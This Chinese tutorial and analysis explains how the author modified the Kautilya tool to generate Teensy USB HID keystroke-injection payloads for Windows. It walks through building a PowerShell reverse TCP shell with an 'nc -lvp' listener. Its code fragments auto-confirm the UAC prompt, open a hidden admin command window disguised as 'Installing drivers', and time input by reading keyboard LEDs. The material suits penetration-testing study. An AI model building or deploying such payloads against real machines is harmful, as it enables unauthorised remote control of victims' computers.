新聞中心
0×00 前言

HID 即 Human Interface Devices 人機(jī)接口設(shè)備。HID攻擊意味著模擬 HID 設(shè)備與主機(jī)通訊的攻擊行為。最常見(jiàn)的攻擊形式是模擬成USB HID設(shè)備如USB鍵盤(pán)。
最近玩燒鵝的時(shí)候翻了不少資料, HID Hacking 的文章中提到的相關(guān) payload 工具主要是 S.E.T 和 Kautilya 兩個(gè)。摸索一番之后對(duì) Kautilya 作了一些小的改進(jìn),F(xiàn)ork 后的代碼在 https://github.com/harnnless/Kautilya 。先上演示:
修改過(guò)的 Kautilya 主要針對(duì) Windows Payload 有以下修改:
1 適應(yīng)中文系統(tǒng)。 可以選擇自動(dòng)打開(kāi)大寫(xiě)鎖定鍵,同時(shí)生成的代碼中要鍵入的內(nèi)容已自動(dòng)反轉(zhuǎn)大小寫(xiě)。所以實(shí)際輸入的大小寫(xiě)仍與預(yù)期一致??催^(guò)上面的演示可以注意到 Win10 默認(rèn)中文五筆輸入沒(méi)有影響。
2 提高穩(wěn)定性及利用速度。修改了幾個(gè)關(guān)鍵函數(shù),刪除不必要的延時(shí),同時(shí)在打開(kāi)命令行窗口時(shí)更有效容錯(cuò)。兼顧了速度和穩(wěn)定性。演示視頻中第一遍啟動(dòng)管理員權(quán)限命令行窗口失敗,腳本能檢測(cè)到并再次啟動(dòng)命令行窗口,而不是盲目地進(jìn)行后續(xù) Payload 輸入。(注意:視頻中 UAC 提示窗口沒(méi)有錄到)
0×01 HID攻擊原理簡(jiǎn)述
HID 即 Human Interface Devices人機(jī)接口設(shè)備。HID攻擊意味著模擬 HID 設(shè)備與主機(jī)通訊的攻擊行為。最常見(jiàn)的攻擊形式是模擬成USB HID設(shè)備如USB鍵盤(pán)。
常見(jiàn)的USB HID 攻擊硬件有 Teensy(及兼容Teensy的國(guó)產(chǎn)燒鵝)、Arduino Leonardo、USB Rubber Ducky 等。都是通過(guò)集成的USB控制芯片模擬成USB鍵盤(pán)\鼠標(biāo),并按照事先編程好的順序發(fā)送按鍵,達(dá)到攻擊的目的。如下圖是 USB Rubber Ducky
本文的代碼適用于 Teensy 2 ++ 及國(guó)產(chǎn)燒鵝,使用了 AT90USB1286 芯片,可以使用 Teensyduino 編寫(xiě)代碼。
0×02 軟硬件準(zhǔn)備
硬件
Radiowar 出品的燒鵝1.0\1.5\2.0任意版本一個(gè);或者 Teensy2++ 一個(gè)。如下圖是燒鵝2.0,沒(méi)有安裝外殼。(視頻中使用的是金士頓DT101 U盤(pán)外殼)
軟件
演示用的燒鵝支持使用 Teensyduino 軟件編寫(xiě)代碼并燒錄到芯片中。Teensyduino 依賴(lài)于 arduino。由于演示的是 Windows 下的攻擊,以下軟件安裝安裝配置等都以 Windows 平臺(tái)為例。
Arduino & Teensyduino
1 首先安裝 Arduino。從官方這個(gè)頁(yè)面 下載 1.0.6 版,根據(jù)操作系統(tǒng)架構(gòu)下載32位或64位。可以直接下載 Zip 版解壓到D盤(pán)。
2 下載 安裝 Teensyduino 1.27 版。安裝過(guò)程中提示選擇正確的 arduino 目錄之后才能繼續(xù)。如果僅需要測(cè)試本文的 HID 攻擊,可以選擇None不安裝任何其它組件。
Kautilya
本文的主角 Kautilya 是專(zhuān)用于生成 Teensy USB HID 攻擊載荷的開(kāi)源工具。由 Nikhil SamratAshok Mittal 于2011年底發(fā)布在code.google.com,后來(lái)遷移至 Github。
1 Kautilya 使用 Ruby 編寫(xiě),因此需要先安裝 Ruby 運(yùn)行環(huán)境。到這里下載安裝 1.9.3 版(由于對(duì) Win32Console 的依賴(lài),不要安裝2.0或以上版本)。
2 下載我修改過(guò)的 Kautilya zip 包,解壓到D盤(pán)。
3 找到并打開(kāi)程序中的 Start Command Prompt with Ruby, 進(jìn)入 Kautilya 目錄安裝 Ruby 依賴(lài):
- cd /d d:\Kautilya
- set httphttp_proxy=http://127.0.0.1:1080 // 可能需要使用代理翻墻才能正確安裝gems哦
- gem install highline -v 1.6.21
- gem install artii -v 2.0.4
- gem install colored -v 1.2
- gem install win32console -v 1.3.2 // 僅 Windows 下需要
- ruby kautilya.rb // 運(yùn)行
0×03 生成與測(cè)試
用 Kautilya 生成攻擊載荷
1 接下來(lái)演示的攻擊載荷是 Kautilya 作者發(fā)布的 Powershell 反向TCP shell。Freebuf 曾發(fā)過(guò)翻譯后的文章,請(qǐng)參考一周PowerShell腳本Day 1:TCP交互式PowerShell腳本。要測(cè)試請(qǐng)先按這篇文章在 Kali 中用 nc -lvp 端口號(hào) 監(jiān)聽(tīng),或者用 Powercat 監(jiān)聽(tīng)。
2 參照視頻中的步驟,打開(kāi) Start Command Prompt with Ruby 運(yùn)行 Kautilya ,然后選擇 1. Payload for Windows -> 2. CapsLock On -> 2. Execute -> 7. Reverse TCP Shell
3 提示輸入 IP 地址時(shí)輸入 Kali 的IP或運(yùn)行 Powercat 的IP。我在視頻中是用VirtualBox運(yùn)行了一個(gè)Kali虛擬機(jī),網(wǎng)絡(luò)設(shè)置為 Host Only,IP為192.168.56.101。
4 提示輸入端口,與監(jiān)聽(tīng)的端口保持一致
5 選擇 2,硬件是 Teensy2。然后在 output 下生成了 reverse_tcp.ino。
編譯并寫(xiě)入
1 啟動(dòng)之前安裝的 arduino,選擇 File -> Open … 打開(kāi) Kautilya 下 output 目錄中的 reverse_tcp.ino。程序會(huì)提示需要?jiǎng)?chuàng)建一個(gè)同名的文件夾,點(diǎn)OK
2 按工具欄的第一個(gè)圖標(biāo)Verify,校驗(yàn)并編譯。如果沒(méi)有錯(cuò)誤,會(huì)彈出TeensyLoader的小窗口
3 按住燒鵝電路板上的按鈕不放再插入U(xiǎn)SB口,然后松開(kāi)按鈕(這樣可以避免執(zhí)行已寫(xiě)入的程序),剛編譯的程序就自動(dòng)寫(xiě)入,并且也自動(dòng)重啟開(kāi)始執(zhí)行了
4 觀察Payload 執(zhí)行是否成功
0×04 Payload 代碼詳細(xì)分析
Payload 的主體代碼經(jīng)過(guò)細(xì)微修改,精簡(jiǎn)如下:
上面值得注意的有兩個(gè)地方:
1 wait_for_drivers 函數(shù)。作用是 Teensy 插入電腦之后,能主動(dòng)判斷 HID 能正常發(fā)送按鍵,然后再進(jìn)行后續(xù)操作??梢苑乐乖诓煌碾娔X上安裝驅(qū)動(dòng)的耗時(shí)會(huì)相差較大,尤其某些時(shí)候系統(tǒng)會(huì)通過(guò) Windows Update 查找驅(qū)動(dòng),單純添加一個(gè)較長(zhǎng)的延時(shí)時(shí)間既不可靠也容易被捉…
2 while(!cmd_admin())。 cmd_admin 函數(shù)能判斷是否打開(kāi)了命令行窗口,并確實(shí)能輸入正確的字符。也就是說(shuō)能確保后面的 payload 能正確輸入。
以上兩個(gè)功能函數(shù)是如何實(shí)現(xiàn)的呢?接著看一下后面自定義函數(shù)代碼節(jié)選。
關(guān)鍵一,判斷LED狀態(tài)
- int ledkeys(void) {return int(keyboard_leds);} // 返回指定的LED狀態(tài)
- bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;} //大寫(xiě)鎖定是否打開(kāi)
- void wait_for_drivers(int sleep){
- bool CapsLockTrap = is_caps_on();
- // 直到大寫(xiě)鎖定發(fā)生改變,才確認(rèn)驅(qū)動(dòng)已加載完畢,可以執(zhí)行 payload 輸入了
- while(CapsLockTrap == is_caps_on()){
- Keyboard.set_key1(KEY_CAPS_LOCK);
- Keyboard.send_now();
- unpresskey();
- delay(sleep);
- }
- }
上面代碼中最關(guān)鍵的是前兩行,is_caps_on實(shí)現(xiàn)了判斷當(dāng)前大寫(xiě)鎖定狀態(tài)的功能。注意,這里的功能實(shí)現(xiàn)在Teensy2下必須有頂部的 #include,并且最好在 arduino IDE 1.0.x 下編譯。
然后 wait_for_drivers 函數(shù)通過(guò)檢查發(fā)送 CAPSLOCK 鍵之后大寫(xiě)鎖定狀態(tài)有沒(méi)有變化,來(lái)判斷是否設(shè)備的驅(qū)動(dòng)已加載完畢。如果按鍵后大寫(xiě)鎖定燈沒(méi)改變狀態(tài),那肯定是鍵盤(pán)驅(qū)動(dòng)還沒(méi)有加載完成,繼續(xù)延時(shí)等待。
也可以檢測(cè) NumLock 或 ScrollLock,keyboard_leds 的值不一樣,分別是1和4。具體可以看 Offensive Security 的公開(kāi)代碼 https://github.com/offensive-security/hid-backdoor-peensy 。
關(guān)鍵二,判斷CMD窗口打開(kāi)及輸入是否正確
- // 這個(gè)函數(shù)做了較大修改,有興趣可以生成一個(gè)CapsLock Off 的腳本對(duì)照看一下
- // 修改后的函數(shù)能兼容速度不一的電腦,不需要固定成最大的延時(shí)。慢的系統(tǒng)下會(huì)重試1到多次之后打開(kāi)命令行窗口
- bool cmd_admin(int reps, int millisecs){ // 打開(kāi)管理員權(quán)限命令行窗口
- make_sure_capslock_is_on(); // 確認(rèn)大寫(xiě)鎖定打開(kāi)
- unsigned int i = 0;
- do{
- Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); // 按 Win 鍵
- Keyboard.send_now();
- unpresskey();
- delay(400 + i * millisecs);
- // 輸入 CMD 命令,參數(shù)用于盡量隱藏窗口
- Keyboard.print("CMD /t:01 /k \"@ECHO OFF && MODE CON:cols=15 lines=1 && TITLE iNSTALLING dRIVERS\"");
- delay(800 + i * millisecs);
- Keyboard.set_modifier(MODIFIERKEY_CTRL); // Ctrl+Shift+Enter 用管理員權(quán)限打開(kāi)
- Keyboard.send_now();
- Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
- Keyboard.send_now();
- Keyboard.set_key1(KEY_ENTER);
- Keyboard.send_now();
- unpresskey();
- delay(1000 + i * millisecs);
- send_left_enter(); // 按左方向鍵,再回車(chē),確認(rèn) UAC 提示框
- delay(800 + i * millisecs);
- create_click_capslock_win(); // 輸入并運(yùn)行一個(gè)更改大寫(xiě)狀態(tài)的VBS
- if (check_for_capslock_success_teensy(i+3,millisecs)){ return true;} // 如果大寫(xiě)狀態(tài)未改變,再試
- i++;
- }
- while (i
判斷CMD窗口打開(kāi)及輸入是否正確的代碼同樣用到了檢測(cè)大寫(xiě)鎖定狀態(tài)。實(shí)現(xiàn)方法是輸入并執(zhí)行一個(gè)簡(jiǎn)單VBS腳本發(fā)送CAPSLOCK鍵,然后判斷執(zhí)行后大寫(xiě)鎖定狀態(tài)。如果狀態(tài)改變就證明 CMD 窗口正確打開(kāi),并且能正確輸入 payload 了。create_click_capslock_win() 寫(xiě)入并執(zhí)行 VBS,check_for_capslock_success_teensy(reps,millisecs) 進(jìn)行檢測(cè)。
上面給出的代碼沒(méi)有選擇 cmd 函數(shù),而是 cmd_admin 函數(shù),展示了使用 Ctrl+Shift+Enter 加 左方向鍵再Enter 在 UAC 啟用環(huán)境下直接打開(kāi)管理員權(quán)限命令行窗口的技巧。 Kautilya 多數(shù) Windows Payload 都會(huì)用cmd_admin。如果目標(biāo)是 XP 并且用戶(hù)是管理員則可以改用 cmd,不需要 Ctrl+Shift+Enter 等。
0×05 小提示
與直覺(jué)不同,鍵盤(pán)不是僅發(fā)送按鍵,而是有雙向通訊的。很早前的AT鍵盤(pán)規(guī)范確定了如CapsLock/NumLock等燈的狀態(tài)是由系統(tǒng)發(fā)送信息,鍵盤(pán)才開(kāi)關(guān)燈的狀態(tài),與是否發(fā)送相關(guān)按鍵無(wú)關(guān)。
檢測(cè) LED狀態(tài)用于HID攻擊的方法最早于2012年發(fā)表在 https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/ ,后來(lái)被整合進(jìn) S.E.T 及 Kautilya 中。
Offensive Security 的 Peensy 公開(kāi)代碼 https://github.com/offensive-security/hid-backdoor-peensy 。其中還包含了直接讀取 Teensy 的SD卡文件的方法,檢測(cè)目標(biāo)系統(tǒng)的架構(gòu)以部署相同架構(gòu)的MSF Payload等。值得進(jìn)一步了解。
0×06 參考:
[1] http://www.labofapenetrationtester.com/search/label/Kautilya
[2] https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/
本文名稱(chēng):TeensyHID攻擊工具Kautilya的改進(jìn)與穩(wěn)定利用分析
路徑分享:http://m.fisionsoft.com.cn/article/dhopcoo.html


咨詢(xún)
建站咨詢(xún)
